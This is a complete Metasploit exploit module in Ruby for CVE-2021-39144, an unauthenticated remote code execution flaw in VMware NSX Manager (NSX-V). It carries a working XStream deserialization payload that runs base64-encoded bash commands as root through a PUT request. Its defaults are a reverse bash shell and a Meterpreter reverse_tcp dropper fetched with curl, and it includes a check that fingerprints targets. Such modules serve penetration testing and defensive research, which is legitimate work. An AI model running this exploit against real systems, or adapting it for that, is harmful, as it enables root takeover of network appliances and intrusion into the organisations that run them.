VMware NSX Manager XStream Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware NSX Manager XStream unauthenticated RCE',  
'Description' => %q{  
VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.  
VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.  
Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),  
a malicious actor can get remote code execution in the context of 'root' on the appliance.  
VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13  
are vulnerable to Remote Command Injection.  
  
This module exploits the vulnerability to upload and execute payloads gaining root privileges.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y', # metasploit module author  
'Sina Kheirkhah', # Security researcher (Source Incite)  
'Steven Seeley' # Security researcher (Source Incite)  
],  
'References' => [  
['CVE', '2021-39144'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0027.html'],  
['URL', 'https://kb.vmware.com/s/article/89809'],  
['URL', 'https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html'],  
['URL', 'https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144']  
],  
'DisclosureDate' => '2022-10-25',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :in_memory,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'curl', 'printf' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
def check_nsx_v_mgr  
return send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.jsp')  
})  
rescue StandardError => e  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  
end  
  
def execute_command(cmd, _opts = {})  
b64 = Rex::Text.encode_base64(cmd)  
random_uri = rand_text_alphanumeric(4..10)  
xml_payload = <<~XML  
<sorted-set>  
<string>foo</string>  
<dynamic-proxy>  
<interface>java.lang.Comparable</interface>  
<handler class="java.beans.EventHandler">  
<target class="java.lang.ProcessBuilder">  
<command>  
<string>bash</string>  
<string>-c</string>  
<string>echo #{b64} &#x7c; base64 -d &#x7c; bash</string>  
</command>  
</target>  
<action>start</action>  
</handler>  
</dynamic-proxy>  
</sorted-set>  
XML  
  
return send_request_cgi({  
'method' => 'PUT',  
'ctype' => 'application/xml',  
'uri' => normalize_uri(target_uri.path, 'api', '2.0', 'services', 'usermgmt', 'password', random_uri),  
'data' => xml_payload  
})  
rescue StandardError => e  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  
end  
  
# Checking if the target is potential vulnerable checking the http title "VMware Appliance Management"  
# that indicates the target is running VMware NSX Manager (NSX-V)  
# All NSX Manager (NSX-V) unpatched versions, except for 6.4.14, are vulnerable  
def check  
print_status("Checking if #{peer} can be exploited.")  
res = check_nsx_v_mgr  
return CheckCode::Unknown('No response received from the target!') unless res  
  
html = res.get_html_document  
html_title = html.at('title')  
if html_title.nil? || html_title.text != 'VMware Appliance Management'  
return CheckCode::Safe('Target is not running VMware NSX Manager (NSX-V).')  
end  
  
CheckCode::Appears('Target is running VMware NSX Manager (NSX-V).')  
end  
  
def exploit  
case target['Type']  
when :in_memory  
print_status("Executing #{target.name} with #{payload.encoded}")  
execute_command(payload.encoded)  
when :linux_dropper  
print_status("Executing #{target.name}")  
execute_cmdstager  
end  
end  
end  
`